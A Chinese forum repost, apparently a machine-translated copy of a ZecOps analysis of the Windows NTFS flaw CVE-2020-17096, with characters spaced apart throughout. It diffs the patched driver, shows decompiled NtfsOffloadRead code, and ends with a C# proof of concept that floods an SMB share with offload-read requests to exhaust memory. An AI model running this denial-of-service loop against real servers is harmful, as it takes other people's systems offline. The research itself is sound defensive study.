搜索

[20453] 2021-01-06_NTFS远程代码执行（CVE-2020-17096）分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-01-06_NTFS远程代码执行（CVE-2020-17096）分析 N T F S 远 程 代 码 执 行 （ C V E - 2 0 2 0 - 1 7 0 9 6 ） 分 析 Z E C O P S   R E S E A R C H   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 1 - 0 6                                 这 是 微 软 在 2 0 2 0 年 1 2 月 1 2 日 发 布 的 C V E - 2 0 2 0 - 1 7 0 9 6 漏 洞 分 析 。 评 估 的 远 程 代 码 执 行 漏 洞 与 E x p l o i t a t i o n 。 " 更 有 可 能 " ， 在 周 二 最 后 的 补 丁 修 复 中 ， 抓 住 了 我 们 的 注 意 力 。 差 异 化 的 差 异 化 的 n t f s . s y s                 用 B i n D i f f 对 比 打 了 补 丁 的 驱 动 和 未 打 补 丁 的 版 本 ， 我 们 看 到 只 改 变 了 一 个 功 能 ， N t f s O f f l o a d R e a d 。 这 个 函 数 比 较 大 ， 从 两 个 驱 动 版 本 的 仔 细 对 比 来 看 ， 唯 一 改 动 的 代 码 位 于 函 数 的 最 开 始 ：
触 发 脆 弱 的 代 码 触 发 脆 弱 的 代 码                         从 函 数 的 名 称 ， 我 们 推 断 出 它 负 责 处 理 卸 载 读 取 请 求 ， 这 是 W i n d o w s   8 中 引 入 的 卸 载 数 据 传 输 功 能 的 一 部 分 。 通 过 发 出 F S C T L _ O F F L O A D _ R E A D 控 制 代 码 ， 可 以 通 过 S M B 远 程 请 求 卸 载 读 取 。                         事 实 上 ， 通 过 发 出 F S C T L _ O F F L O A D _ R E A D 控 制 代 码 ， 我 们 已 经 看 到 N t f s O f f l o a d R e a d 函 数 正 在 被 调 用 ， 但 第 一 个 i f 分 支 被 跳 过 。 经 过 实 验 ， 我 们 看 到 有 一 种 触 发 分 支 的 方 法 是 在 发 出 o f f l o a d   r e a d 之 前 打 开 一 个 文 件 夹 ， 而 不 是 一 个 文 件 。 探 讨 开 发 方 案 探 讨 开 发 方 案                         我 们 分 别 研 究 了 这 两 个 变 化 ， 并 试 图 用 最 简 单 的 方 法 来 给 脆 弱 的 计 算 机 造 成 一 些 麻 烦 。 第 一 个 变 化 。 N t f s E x t e n d e d C o m p l e t e R e q u e s t I n t e r n a l 函 数 没 有 接 收 I r p C o n t e x t 参 数 。                         简 单 看 了 一 下 N t f s E x t e n d e d C o m p l e t e R e q u e s t I n t e r n a l ， 如 果 第 一 个 参 数 是 N U L L ， 似 乎 就 被 忽 略 了 。 否 则 ， I r p C o n t e x t 结 构 的 众 多 字 段 就 会 被 使 用 E x F r e e P o o l W i t h T a g 等 函 数 释 放 。 这 段 代 码 比 较 长 ， 我 们 没 有 彻 底 分 析 ， 但 从 快 速 浏 览 中 ， 我 们 没 有 找 到 滥 用 这 些 函 数 在 易 受 攻 击 版 本 中 没 有 被 调 用 的 方 法 。 我 们 观 察 到 ， 认 为 这 个 b u g 会 导 致 非 分 页 池 的 内 存 泄 漏 ， 而 分 页 池 是 保 证 驻 留 在 物 理 内 存 中 的 。                         我 们 实 现 了 一 个 小 工 具 ， 在 无 限 循 环 中 发 出 卸 载 读 取 。 几 个 小 时 后 ， 我 们 的 脆 弱 的 虚 拟 机 跑 出 了 内 存 并 冻 结 ， 不 再 响 应 任 何 输 入 。 下 面 你 可 以 看 到 任 务 管 理 器 的 截 图 和 我 们 使 用 的 代 码 。 第 二 个 变 化 。 一 个 I R P 指 针 字 段 ， I r p C o n t e x 的 一 部 分 ， 被 设 置 为 N U L L 。                         根 据 我 们 的 快 速 尝 试 ， 我 们 没 有 找 到 滥 用 I R P 指 针 字 段 被 设 置 为 N U L L 的 方 法 。 如 果 你 有 什 么 想 法 ， 请 告 诉 我 们 。 u i n t   N t f s O f f l o a d R e a d ( P I R P _ C O N T E X T   I r p C o n t e x t ,   P I R P   I r p ) {     P V O I D   d e c o d e d   =   N t f s D e c o d e F i l e O b j e c t F o r R e a d ( . . . ) ;     i f   ( ! d e c o d e d )   {         i f   ( N t f s S t a t u s D e b u g F l a g s )   {             / /   . . .         }         / /   * * *   C h a n g e   1 :   F i r s t   a r g u m e n t   c h a n g e d   f r o m   N U L L   t o   I r p C o n t e x t         N t f s E x t e n d e d C o m p l e t e R e q u e s t I n t e r n a l ( N U L L ,   I r p ,   0 x c 0 0 0 0 0 0 d ,   1 ,   0 ) ;         / /   * * *   C h a n g e   2 :   T h e   f o l l o w i n g   i f   b l o c k   w a s   c o m p l e t e l y   r e m o v e d         i f   ( I r p C o n t e x t   & &   * ( P I R P   * ) ( I r p C o n t e x t   +   0 x 6 8 )   = =   I r p )   {             * ( P I R P   * ) ( I r p C o n t e x t   +   0 x 6 8 )   =   N U L L ;         }         i f   ( N t f s S t a t u s D e b u g F l a g s )   {             / /   . . .         }         r e t u r n   0 x c 0 0 0 0 0 0 d ;     }     / /   T h e   r e s t   o f   t h e   f u n c t i o n . . . }
那 远 程 代 码 执 行 呢 ？ 那 远 程 代 码 执 行 呢 ？                         我 们 和 你 一 样 好 奇 。 不 幸 的 是 ， 我 们 能 投 入 的 时 间 有 限 ， 无 法 满 足 我 们 的 好 奇 心 。 我 们 尽 可 能 地 找 到 了 漏 洞 代 码 ， 并 触 发 它 ， 导 致 内 存 泄 漏 和 最 终 的 拒 绝 服 务 ， 但 我 们 无 法 利 用 它 进 行 远 程 代 码 执 行 。                         这 里 有 可 能 没 有 实 际 的 远 程 代 码 执 行 ， 为 了 以 防 万 一 ， 我 们 将 其 标 记 为   " 坏 邻 居   " I C M P v 6 漏 洞 （ C V E - 2 0 2 0 - 1 6 8 9 8 ） 。 如 果 你 有 什 么 见 解 ， 我 们 将 很 乐 意 听 到 。 C V E - 2 0 2 0 - 1 7 0 9 6   P O C ( 拒 绝 服 务 拒 绝 服 务 ) 之 前 闲 置 的 虚 拟 机 ， 配 置 标 准 ， 没 有 运 行 的 程 序 。
后 触 发 内 存 泄 漏 后 ， 同 一 空 闲 的 虚 拟 机 ， 无 响 应 。 u s i n g   ( v a r   t r a n s   =   n e w   S m b 2 C l i e n t T r a n s p o r t ( ) ) {         v a r   i p A d d r e s s   =   S y s t e m . N e t . I P A d d r e s s . P a r s e ( i p ) ;         t r a n s . C o n n e c t S h a r e ( s e r v e r ,   i p A d d r e s s ,   d o m a i n ,   u s e r ,   p a s s ,   s h a r e ,   S e c u r i t y P a c k a g e T y p e . N e g o t i a t e ,   t r u e ) ;         t r a n s . C r e a t e (                 r e m o t e _ p a t h ,                 F s D i r e c t o r y D e s i r e d A c c e s s . G E N E R I C _ R E A D   |   F s D i r e c t o r y D e s i r e d A c c e s s . G E N E R I C _ W R I T E ,                 F s I m p e r s o n a t i o n L e v e l . A n o n y m o u s ,                 F s F i l e A t t r i b u t e . F I L E _ A T T R I B U T E _ D I R E C T O R Y ,                 F s C r e a t e D i s p o s i t i o n . F I L E _ C R E A T E ,                 F s C r e a t e O p t i o n . F I L E _ D I R E C T O R Y _ F I L E ) ;         F S C T L _ O F F L O A D _ R E A D _ I N P U T   o f f l o a d R e a d I n p u t   =   n e w   F S C T L _ O F F L O A D _ R E A D _ I N P U T ( ) ;         o f f l o a d R e a d I n p u t . S i z e   =   3 2 ;         o f f l o a d R e a d I n p u t . F i l e O f f s e t   =   0 ;         o f f l o a d R e a d I n p u t . C o p y L e n g t h   =   0 ;
导 致 内 存 泄 漏 和 最 终 拒 绝 服 务 的 C # 代 码 。 与 W i n d o w s 协 议 测 试 套 件 一 起 使 用 。 参 考 文 献 ： h t t p s : / / b l o g . z e c o p s . c o m / v u l n e r a b i l i t i e s / n t f s - r e m o t e - c o d e - e x e c u t i o n - c v e - 2 0 2 0 - 1 7 0 9 6 - a n a l y s i s /         b y t e [ ]   r e q u e s t I n p u t O f f l o a d R e a d   =   T y p e M a r s h a l . T o B y t e s ( o f f l o a d R e a d I n p u t ) ;         w h i l e   ( t r u e )         {                 t r a n s . S e n d I o c t l P a y l o a d ( C t l C o d e _ V a l u e s . F S C T L _ O F F L O A D _ R E A D ,   r e q u e s t I n p u t O f f l o a d R e a d ) ;                 t r a n s . E x p e c t I o c t l P a y l o a d ( o u t   _ ,   o u t   _ ) ;         } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理